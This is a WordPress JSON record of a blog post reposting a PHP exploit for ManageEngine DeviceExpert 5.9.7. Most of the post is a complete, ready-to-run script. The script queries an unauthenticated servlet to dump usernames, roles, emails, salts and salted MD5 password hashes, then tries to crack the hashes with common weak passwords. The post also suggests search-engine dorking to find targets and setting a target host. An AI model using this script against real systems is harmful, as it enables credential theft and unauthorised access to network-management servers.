{"id":59742,"date":"2024-09-16T18:59:45","date_gmt":"2024-09-16T15:59:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181523\/deviceexpert597-extract.txt"},"modified":"2024-09-16T18:59:45","modified_gmt":"2024-09-16T15:59:45","slug":"manageengine-deviceexpert-5-9-7-build-5970-hash-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/manageengine-deviceexpert-5-9-7-build-5970-hash-disclosure\/","title":{"rendered":"ManageEngine DeviceExpert 5.9.7 Build 5970 Hash Disclosure"},"content":{"rendered":"<p>====================================================================================================================================<br \/>| # Title : DeviceExpert v 5.9.7 build 5970 PHP extracts Credentials Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 130.0.0 (64 bits) |<br \/>| # Vendor : https:\/\/manageengine.com\/ |<br \/>====================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This PHP COde extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior.<\/p>\n[+] LIne 87 set your targer .<\/p>\n[+] usage : C:\\www\\test&gt;php 3.php<\/p>\n[+] Payload :<\/p>\n<p>&lt;?php<br \/>class ManageEngineDeviceExpert {<br \/>private $host;<br \/>private $port;<br \/>private $ssl;<\/p>\n<p>public function __construct($host, $port = 6060, $ssl = true) {<br \/>$this-&gt;host = $host;<br \/>$this-&gt;port = $port;<br \/>$this-&gt;ssl = $ssl;<br \/>}<\/p>\n<p>private function sendRequest($path) {<br \/>$url = ($this-&gt;ssl ? &#8216;https:\/\/&#8217; : &#8216;http:\/\/&#8217;) . $this-&gt;host . &#8216;:&#8217; . $this-&gt;port . $path;<br \/>$ch = curl_init($url);<br \/>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>$response = curl_exec($ch);<br \/>curl_close($ch);<br \/>return $response;<br \/>}<\/p>\n<p>public function getUsers() {<br \/>echo &#8220;Reading users from master&#8230;\\n&#8221;;<br \/>$response = $this-&gt;sendRequest(&#8216;\/ReadUsersFromMasterServlet&#8217;);<br \/>if (!$response) {<br \/>echo &#8220;Connection failed\\n&#8221;;<br \/>return null;<br \/>}<br \/>if (strpos($response, &#8216;&lt;discoverydata&gt;&#8217;) !== false) {<br \/>preg_match_all(&#8216;\/&lt;discoverydata&gt;(.*?)&lt;\\\/discoverydata&gt;\/&#8217;, $response, $matches);<br \/>echo &#8220;Found &#8221; . count($matches[0]) . &#8221; users\\n&#8221;;<br \/>return $matches[0];<br \/>} else {<br \/>echo &#8220;Could not find any users\\n&#8221;;<br \/>return null;<br \/>}<br \/>}<\/p>\n<p>public function parseUserData($user) {<br \/>if (!$user) return null;<\/p>\n<p>preg_match(&#8216;\/&lt;username&gt;([^&lt;]+)&lt;\\\/username&gt;\/&#8217;, $user, $username);<br \/>preg_match(&#8216;\/&lt;password&gt;([^&lt;]+)&lt;\\\/password&gt;\/&#8217;, $user, $encoded_hash);<br \/>preg_match(&#8216;\/&lt;userrole&gt;([^&lt;]+)&lt;\\\/userrole&gt;\/&#8217;, $user, $role);<br \/>preg_match(&#8216;\/&lt;emailid&gt;([^&lt;]+)&lt;\\\/emailid&gt;\/&#8217;, $user, $email);<br \/>preg_match(&#8216;\/&lt;saltvalue&gt;([^&lt;]+)&lt;\\\/saltvalue&gt;\/&#8217;, $user, $salt);<\/p>\n<p>$hash = base64_decode($encoded_hash[1]);<br \/>$password = null;<\/p>\n<p>$weak_passwords = [&#8216;12345&#8217;, &#8216;admin&#8217;, &#8216;password&#8217;, $username[1]];<br \/>foreach ($weak_passwords as $weak_password) {<br \/>if (md5($weak_password . $salt[1]) == bin2hex($hash)) {<br \/>$password = $weak_password;<br \/>break;<br \/>}<br \/>}<\/p>\n<p>return [<br \/>&#8216;username&#8217; =&gt; $username[1],<br \/>&#8216;password&#8217; =&gt; $password,<br \/>&#8216;hash&#8217; =&gt; bin2hex($hash),<br \/>&#8216;role&#8217; =&gt; $role[1],<br \/>&#8217;email&#8217; =&gt; $email[1],<br \/>&#8216;salt&#8217; =&gt; $salt[1]];<br \/>}<\/p>\n<p>public function run() {<br \/>$users = $this-&gt;getUsers();<br \/>if (!$users) return;<\/p>\n<p>foreach ($users as $user) {<br \/>$user_data = $this-&gt;parseUserData($user);<br \/>if (!$user_data) continue;<\/p>\n<p>echo &#8220;User: &#8221; . $user_data[&#8216;username&#8217;] . &#8220;\\n&#8221;;<br \/>echo &#8220;Password: &#8221; . ($user_data[&#8216;password&#8217;] ? $user_data[&#8216;password&#8217;] : &#8216;Not found&#8217;) . &#8220;\\n&#8221;;<br \/>echo &#8220;Hash: &#8221; . $user_data[&#8216;hash&#8217;] . &#8220;\\n&#8221;;<br \/>echo &#8220;Role: &#8221; . $user_data[&#8216;role&#8217;] . &#8220;\\n&#8221;;<br \/>echo &#8220;Email: &#8221; . $user_data[&#8217;email&#8217;] . &#8220;\\n&#8221;;<br \/>echo &#8220;Salt: &#8221; . $user_data[&#8216;salt&#8217;] . &#8220;\\n&#8221;;<br \/>echo &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n&#8221;;<br \/>}<br \/>}<br \/>}<\/p>\n<p>\/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0643\u0644\u0627\u0633<br \/>$deviceExpert = new ManageEngineDeviceExpert(&#8216;127.0.0.1&#8217;);<br \/>$deviceExpert-&gt;run();<br \/>?&gt;<\/p>\n<p>Greetings to :==================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |<br \/>================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>====================================================================================================================================| # Title : DeviceExpert v 5.9.7 build 5970 PHP extracts Credentials Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 130.0.0 (64 bits) || # Vendor : https:\/\/manageengine.com\/ |==================================================================================================================================== poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This PHP COde extracts &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59742","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59742","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59742"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59742\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59742"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59742"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59742"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}